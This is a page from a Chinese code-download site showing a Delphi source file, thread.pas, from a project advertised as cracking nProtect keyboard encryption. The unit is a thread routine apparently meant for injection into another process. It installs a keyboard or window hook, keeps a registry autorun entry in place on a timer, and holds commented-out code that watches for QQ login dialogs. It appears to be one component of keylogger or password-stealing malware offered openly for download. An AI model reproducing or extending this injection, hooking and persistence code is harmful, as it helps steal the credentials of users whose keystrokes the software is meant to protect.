⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 thread.pas

📁 破解“国际领先的Nprotect键盘加密技术”
💻 PAS
字号:
unit  Thread;

interface

uses Common,CallSelf,RegSet,VarUnit,ShareData;

// 待插线程回调函数
procedure ThreadPro(X: Integer); stdcall;

implementation

uses Windows, Messages;

var
 timer     : integer;
 timer_out : integer = 1000;

{procedure InitialCloseQQValues;
var
  cfgFileName: String;
  Config : TConfig;
begin
 try
   InitConfig(Config);
   if CallSelf.GetShareDataA <> nil then
     cfgFileName := PGlobalDllData(CallSelf.GetShareDataA).CfgFileName
   else
     cfgFileName := '';
   SendOut.ReadValues(cfgFileName,Config);
   WillNotCloseQQ  := False;
   CloseQQWaitTime := Config.CloseQQWaitTime;
 except
 end;  
end;}
 
procedure StartTimer;
begin
  //InitialCloseQQValues;
  timer := SetTimer(0,1,timer_out,nil);
end;

procedure StopTimer;
begin
  KillTimer(0,timer);
end;

procedure ProcTimer;
begin
  if ShareData.GetShareData <> nil then
    SetupRegRun(ShareData.GetShareData.CfgFileName);
  {if CloseQQWaitTime <= 0 then Exit;
  if not WillNotCloseQQ then begin
     if IsQQDialog(GetForegroundWindow()) then begin
        WillNotCloseQQ  := True;
        CloseQQWaitTime := 0;
     end else begin
        Dec(CloseQQWaitTime);
        if CloseQQWaitTime <= 0 then begin
           PostThreadMessage(GetCurrentThreadID(), WM_QUIT, 0, 0);
        end;
     end;
  end;}
end;

// 待插线程回调函数
procedure ThreadPro(X: Integer); stdcall;
var
  MsgStruct: TMsg;
  hMutexObj: DWORD;
begin
  hMutexObj := CreateMutex(nil, FALSE, DllMutex);
  InstallHookA;
  StartTimer;
  while GetMessage(MsgStruct, 0, 0, 0) do
  begin
    if (MsgStruct.message = WM_TIMER) then begin
       ProcTimer;
    end;
    TranslateMessage(MsgStruct);
    DispatchMessage(MsgStruct);
  end;
  StopTimer;
  UnHookA;
  CloseHandle(hMutexObj);
  FreeLibraryAndExitThread(HInstance, 0);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -